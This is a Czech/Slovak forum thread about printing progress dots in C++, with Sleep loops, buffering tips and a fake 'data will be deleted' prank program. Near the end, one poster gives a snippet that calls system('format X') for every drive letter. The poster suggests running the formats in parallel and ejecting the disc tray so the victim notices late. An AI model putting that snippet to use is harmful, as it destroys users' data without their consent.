Ahojte jak prosimvas udělám neco jako nabíhání. Mylím tím že se neco napíše a pak "Stisknete enter" , potom to zasne delat tecky.
priklad :
Vase data budopu spracovany stisknete enter.
Spracovavam..............
Diky
* zistis kolko dat bude treba spracovat, nech tento pocet je 'tot'
* nech 10 bodiek znamena, ze data su spracovane a 0, ze sa prave zacalo spracovavat, potom takyto kod bude realizovat tvoje poziadavky
const int dots = 10;
cout << "spracovavam ";
for (int i = 0; i < tot; ++i)
{
if (!(i % tot/dots))
cout << ".";
...
}
Inu pavdu máš. Ale podívej se, co píšeš. Předpokládám, že pod 3 tečkami si představuješ ten výkonný kód.
Ale v tom případě bys musel jen vykonávat jeden a ten samý kód 10x, což se zas tak často nestává.
Spíše máš několik funkcí, které chceš vykonat a vedle toho v pravidlených intervalech vypisovat tu tečku. Něco jako samostatný vlákno.
Ačkoli v takovém případě bych netušil ani jak určím celkový čas běhu kódu v těch funkcích.
To Huge : mate slabu predstavivost, ten kod to bolo len tak na inspiraciu. samozrejme to v cykle vypisovat nemusite, kludne to moze vypadat takto nejako
funkcia1();
cout << ".";
funkcia2();
cout << ".";
...
tie bodky nemaju s casom nic spolocneho, je to len vyzualizacia kde priblizne sa spracovanie niecoho nachadza, tod vse.
to bengo:
kludne mozte bodkovat len tak na prazdno, mrknite sa na funkciu Sleep http://msdn2.microsoft.com/en-us/library/ms686298.aspx, potom by to mohlo vypadat nejako takto
...
srand(time(0));
while (true)
{
Sleep(1000/((rand() % 2) + 1));
cout << ".";
}
me to nak nejde (mi to v editoru pise chyby) nemůžete mi to udělat přímo :smile4: , melo by to byt nak takhle :
#include <iostream>;
namespace using std;
int main();
{
cout << "Your data will deleted ! ";
cout << "Data deleted.. ";
//a ted ty tecky
#include <windows.h>
#include <iostream>
#include <ctime>
using std::cout;
int main(int argc, char * argv[])
{
srand(time(0));
cout << "Your data will be deleted!\n";
cout << "Working";
while (true)
{
Sleep(1000/((rand() % 2) + 1));
cout << ".";
}
return 0;
}
To Al : tiez som nazoru ze taketo programi su akurad tak na dve veci.
ja by som doplnil, že ak chcete vypisovať čísla pri zaťaženom programe napriklad na ladenie, je vyhodnejšie použiť namiesto cout , cerr. Ten nepoužíva buffer na vypisovanie. Použitie cout u mňa niekedy spôsobovalo vypisovanie informácii na konci operácie a nie za jej priebehu.
(dufam že sm sa nepomylil s názvom cerr)
To mephi : no existuje metoda objektu cout jmenem flush (nebo tak nejak) ktera ten buffer splachne, standardne se splachuje pri znaku noveho radku. podobne existuje funkce fflush ktera dela to same pro vypisovani na std treba pomoci printf
To Huge : a co treba iterace polem ukazatelu na funkce v onom cyklu? pokud by bylo treba rozhodovat se kterou funkci vykonat v zavislosti na vysledku predchozi funkce tak bych toto videl jako dobre reseni (pripadne jeste cyklicke prochazni nejakeho switche, coz by bylo navic snazsi na napsani)
a funguje to "format c:" ? to přece nemůže fungovat, jak to ten windows může dokončit, když se sám smaže? a jak se může smazat, když vymaže tu svoji funkci na smazání..to teda vůbec nechápu
To Zelenáč a RybaRak-WM : : no za predpokladu ze by uzivatel mel vice disku/oddilu tak by se datove zformatovat daly... co treba
char cm[] = "format ";
for(i='a';i<='z';i++) cm[7]=i, system(cm);
jeste lepsi by bylo je vsechny pustit paralelne, a k tomu uzivateli parkrat vysunout mechaniku aby si toho vsiml co nejpozdeji)
Ano, opravdu chci reagovat → zobrazí formulář pro přidání příspěvku